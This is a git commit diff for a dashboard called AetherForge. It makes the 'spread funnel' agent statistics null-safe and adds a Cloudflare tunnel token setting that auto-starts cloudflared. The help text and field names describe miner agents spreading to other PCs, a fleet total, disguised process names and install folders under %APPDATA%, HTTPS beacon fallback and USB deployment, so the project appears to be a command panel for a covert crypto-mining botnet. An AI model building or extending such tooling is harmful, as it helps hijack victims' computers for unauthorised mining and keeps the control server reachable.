fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start
Add runtime comrade account, null-safe spread funnel API/UI, server-started cloudflared connector with Calibrate token field and builtin fallback, and simplify LAUNCH to delegate tunnel startup to AetherForge.
This commit is contained in:
@@ -46,6 +46,7 @@ export function SpreadFunnelWidget() {
|
||||
}, []);
|
||||
|
||||
if (!stats) return null;
|
||||
const byBuild = stats.by_build ?? [];
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" tilt3d={false}>
|
||||
@@ -55,7 +56,7 @@ export function SpreadFunnelWidget() {
|
||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||
</div>
|
||||
{stats.by_build.length === 0 ? (
|
||||
{byBuild.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
) : (
|
||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||
@@ -65,7 +66,7 @@ export function SpreadFunnelWidget() {
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{stats.by_build.slice(0, 10).map((r, i) => (
|
||||
{byBuild.slice(0, 10).map((r, i) => (
|
||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||
<td>{r.worker_name}</td>
|
||||
|
||||
@@ -85,6 +85,7 @@ describe('FIELD_HELP', () => {
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'cloudflare_tunnel_token',
|
||||
'https_beacon_fallback',
|
||||
'https_beacon_after_min',
|
||||
'webhook_url',
|
||||
|
||||
@@ -99,6 +99,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
|
||||
cloudflare_tunnel_token:
|
||||
'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost:<port> in the Cloudflare dashboard.',
|
||||
websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
|
||||
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
|
||||
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
|
||||
|
||||
@@ -79,6 +79,10 @@ export default function SettingsPage() {
|
||||
password: 'x',
|
||||
backup_pools: [],
|
||||
},
|
||||
tunnel_defaults: {
|
||||
cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '',
|
||||
cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '',
|
||||
},
|
||||
alerts: {
|
||||
...cfg.alerts,
|
||||
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
|
||||
@@ -520,6 +524,24 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<FieldHint field="public_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-cf-token" className="label">
|
||||
Cloudflare Tunnel Token <HelpTip field="cloudflare_tunnel_token" />
|
||||
</label>
|
||||
<input
|
||||
id="cfg-cf-token"
|
||||
type="password"
|
||||
className="input mono"
|
||||
autoComplete="off"
|
||||
placeholder="eyJhIjoi… connector token from Cloudflare"
|
||||
value={config.tunnel_defaults?.cloudflare_tunnel_token ?? ''}
|
||||
onChange={(e) => updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)}
|
||||
/>
|
||||
<FieldHint field="cloudflare_tunnel_token" />
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
After saving, restart LAUNCH / the server. Connector also reads <code className="mono">data/cloudflared-token.txt</code> on USB.
|
||||
</p>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
|
||||
<input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}
|
||||
|
||||
@@ -212,6 +212,8 @@ export interface ServerSettings {
|
||||
export interface TunnelDefaults {
|
||||
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */
|
||||
cloudflared_target_url?: string;
|
||||
/** Zero Trust connector token — cloudflared tunnel run --token (control deck / USB). */
|
||||
cloudflare_tunnel_token?: string;
|
||||
}
|
||||
|
||||
export interface PoolEndpoint {
|
||||
|
||||
Reference in New Issue
Block a user